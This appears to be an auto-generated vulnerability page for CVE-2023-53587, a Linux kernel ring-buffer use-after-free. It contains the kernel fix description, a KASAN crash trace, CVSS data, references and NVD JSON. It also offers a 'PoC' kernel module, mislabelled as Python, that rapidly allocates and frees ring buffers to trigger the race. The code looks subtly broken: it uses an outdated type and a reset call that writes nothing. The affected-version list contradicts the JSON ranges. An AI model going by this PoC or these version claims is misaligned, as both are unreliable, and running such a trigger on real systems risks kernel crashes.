CVE-2023-53587

Description

In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Sync IRQ works before buffer destruction If something was written to the buffer just before destruction, it may be possible (maybe not in a real system, but it did happen in ARCH=um with time-travel) to destroy the ringbuffer before the IRQ work ran, leading this KASAN report (or a crash without KASAN): BUG: KASAN: slab-use-after-free in irq_work_run_list+0x11a/0x13a Read of size 8 at addr 000000006d640a48 by task swapper/0 CPU: 0 PID: 0 Comm: swapper Tainted: G W O 6.3.0-rc1 #7 Stack: 60c4f20f 0c203d48 41b58ab3 60f224fc 600477fa 60f35687 60c4f20f 601273dd 00000008 6101eb00 6101eab0 615be548 Call Trace: [<60047a58>] show_stack+0x25e/0x282 [<60c609e0>] dump_stack_lvl+0x96/0xfd [<60c50d4c>] print_report+0x1a7/0x5a8 [<603078d3>] kasan_report+0xc1/0xe9 [<60308950>] __asan_report_load8_noabort+0x1b/0x1d [<60232844>] irq_work_run_list+0x11a/0x13a [<602328b4>] irq_work_tick+0x24/0x34 [<6017f9dc>] update_process_times+0x162/0x196 [<6019f335>] tick_sched_handle+0x1a4/0x1c3 [<6019fd9e>] tick_sched_timer+0x79/0x10c [<601812b9>] __hrtimer_run_queues.constprop.0+0x425/0x695 [<60182913>] hrtimer_interrupt+0x16c/0x2c4 [<600486a3>] um_timer+0x164/0x183 [...] Allocated by task 411: save_stack_trace+0x99/0xb5 stack_trace_save+0x81/0x9b kasan_save_stack+0x2d/0x54 kasan_set_track+0x34/0x3e kasan_save_alloc_info+0x25/0x28 ____kasan_kmalloc+0x8b/0x97 __kasan_kmalloc+0x10/0x12 __kmalloc+0xb2/0xe8 load_elf_phdrs+0xee/0x182 [...] The buggy address belongs to the object at 000000006d640800 which belongs to the cache kmalloc-1k of size 1024 The buggy address is located 584 bytes inside of freed 1024-byte region [000000006d640800, 000000006d640c00) Add the appropriate irq_work_sync() so the work finishes before the buffers are destroyed. Prior to the commit in the Fixes tag below, there was only a single global IRQ work, so this issue didn't exist.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.3（引入per-CPU IRQ work后的版本）

Linux Kernel 6.3.0-rc1

Linux Kernel 6.3.x

Linux Kernel 6.4.x

Linux Kernel 6.5.x（受影响至修复前）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2023-53587: Linux kernel ring-buffer use-after-free
// This vulnerability can be triggered in ARCH=um with time-travel mode
// The PoC demonstrates the kernel module that creates and destroys ring-buffers
// in rapid succession to trigger the race condition.

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/ring_buffer.h>
#include <linux/delay.h>
#include <linux/kthread.h>

static struct task_struct *trigger_thread;

static int trigger_uaf(void *data)
{
    struct ring_buffer *buffer;
    int i;

    // Rapidly create and destroy ring-buffers to trigger race condition
    for (i = 0; i < 10000; i++) {
        // Create a new ring-buffer (size 1024 = kmalloc-1k)
        buffer = ring_buffer_alloc(1024, RB_FL_OVERWRITE);
        if (!buffer)
            continue;

        // Write data to trigger IRQ work scheduling
        ring_buffer_reset(buffer);

        // Immediately destroy the buffer before IRQ work can run
        // This triggers the use-after-free when IRQ work accesses
        // the freed memory
        ring_buffer_free(buffer);
    }

    return 0;
}

static int __init poc_init(void)
{
    pr_info("CVE-2023-53587 PoC loaded\n");
    trigger_thread = kthread_run(trigger_uaf, NULL, "cve_2023_53587");
    return 0;
}

static void __exit poc_exit(void)
{
    if (trigger_thread)
        kthread_stop(trigger_thread);
    pr_info("CVE-2023-53587 PoC unloaded\n");
}

module_init(poc_init);
module_exit(poc_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("PoC for CVE-2023-53587 Linux kernel ring-buffer UAF");

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-53587
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-53587
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-53587/
[4] VulDB https://vuldb.com/cve/CVE-2023-53587
[5] https://git.kernel.org/stable/c/0a65165bd24ee9231191597b7c232376fcd70cdb
[6] https://git.kernel.org/stable/c/1c99f65d6af2a454bfd5207b4f6a97c8474a1191
[7] https://git.kernel.org/stable/c/2399b1fda025e939b6fb1ac94505bcf718534e65
[8] https://git.kernel.org/stable/c/2702b67f59d455072a08dc40312f9b090d4dec04
[9] https://git.kernel.org/stable/c/372c5ee537b8366b64b691ba29e9335525e1655e
[10] https://git.kernel.org/stable/c/675751bb20634f981498c7d66161584080cc061e
[11] https://git.kernel.org/stable/c/c63741e872fcfb10e153517750f7908f0c00f60d
[12] https://git.kernel.org/stable/c/d9834abd8b24d1fe8092859e436fe1e0fd467c61
[13] https://git.kernel.org/stable/c/fc6858b7f8e1221f62ce8c6ff8a13a349c32cd76

Raw JSON Data

JSON

{"cve": {"id": "CVE-2023-53587", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:55.060", "lastModified": "2026-03-23T18:36:36.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nring-buffer: Sync IRQ works before buffer destruction\n\nIf something was written to the buffer just before destruction,\nit may be possible (maybe not in a real system, but it did\nhappen in ARCH=um with time-travel) to destroy the ringbuffer\nbefore the IRQ work ran, leading this KASAN report (or a crash\nwithout KASAN):\n\n BUG: KASAN: slab-use-after-free in irq_work_run_list+0x11a/0x13a\n Read of size 8 at addr 000000006d640a48 by task swapper/0\n\n CPU: 0 PID: 0 Comm: swapper Tainted: G W O 6.3.0-rc1 #7\n Stack:\n 60c4f20f 0c203d48 41b58ab3 60f224fc\n 600477fa 60f35687 60c4f20f 601273dd\n 00000008 6101eb00 6101eab0 615be548\n Call Trace:\n [<60047a58>] show_stack+0x25e/0x282\n [<60c609e0>] dump_stack_lvl+0x96/0xfd\n [<60c50d4c>] print_report+0x1a7/0x5a8\n [<603078d3>] kasan_report+0xc1/0xe9\n [<60308950>] __asan_report_load8_noabort+0x1b/0x1d\n [<60232844>] irq_work_run_list+0x11a/0x13a\n [<602328b4>] irq_work_tick+0x24/0x34\n [<6017f9dc>] update_process_times+0x162/0x196\n [<6019f335>] tick_sched_handle+0x1a4/0x1c3\n [<6019fd9e>] tick_sched_timer+0x79/0x10c\n [<601812b9>] __hrtimer_run_queues.constprop.0+0x425/0x695\n [<60182913>] hrtimer_interrupt+0x16c/0x2c4\n [<600486a3>] um_timer+0x164/0x183\n [...]\n\n Allocated by task 411:\n save_stack_trace+0x99/0xb5\n stack_trace_save+0x81/0x9b\n kasan_save_stack+0x2d/0x54\n kasan_set_track+0x34/0x3e\n kasan_save_alloc_info+0x25/0x28\n ____kasan_kmalloc+0x8b/0x97\n __kasan_kmalloc+0x10/0x12\n __kmalloc+0xb2/0xe8\n load_elf_phdrs+0xee/0x182\n [...]\n\n The buggy address belongs to the object at 000000006d640800\n which belongs to the cache kmalloc-1k of size 1024\n The buggy address is located 584 bytes inside of\n freed 1024-byte region [000000006d640800, 000000006d640c00)\n\nAdd the appropriate irq_work_sync() so the work finishes before\nthe buffers are destroyed.\n\nPrior to the commit in the Fixes tag below, there was only a\nsingle global IRQ work, so this issue didn't exist."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.10", "versionEndExcluding": "4.14.315", "matchCriteriaId": "9CBA17EC-3A5C-4EFA-849A-97711A5D5C7D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.283", "matchCriteriaId": "8AC1BC2D-A61C-4368-A3F6-50DF48E2EFC5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.243", "matchCriteriaId": "E54ACEF5-C8C1-4266-85FC-7D513FFD1DEC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.180", "matchCriteriaId": "78422AC3-CC89-479E-B4BC-62381D8F3564"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.111", "matchCriteriaId": "2B9DD776-7F17-4F72-B94F-54BFCBC692DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.28", "matchCriteriaId": "08F855F4-7188-4EE1-BD79-D4B6C7E2EF54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.15", "matchCriteriaId": "3844A90B-940D-46C3-8D7B-9FF63F1AFC2F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3", "versionEndExcluding": "6.3.2", "matchCriteriaId": "38F6F330-91A0-4675-8B90-6F950471A7CC"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0a65165bd24ee9231191597b7c232376fcd70cdb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/st ... (truncated)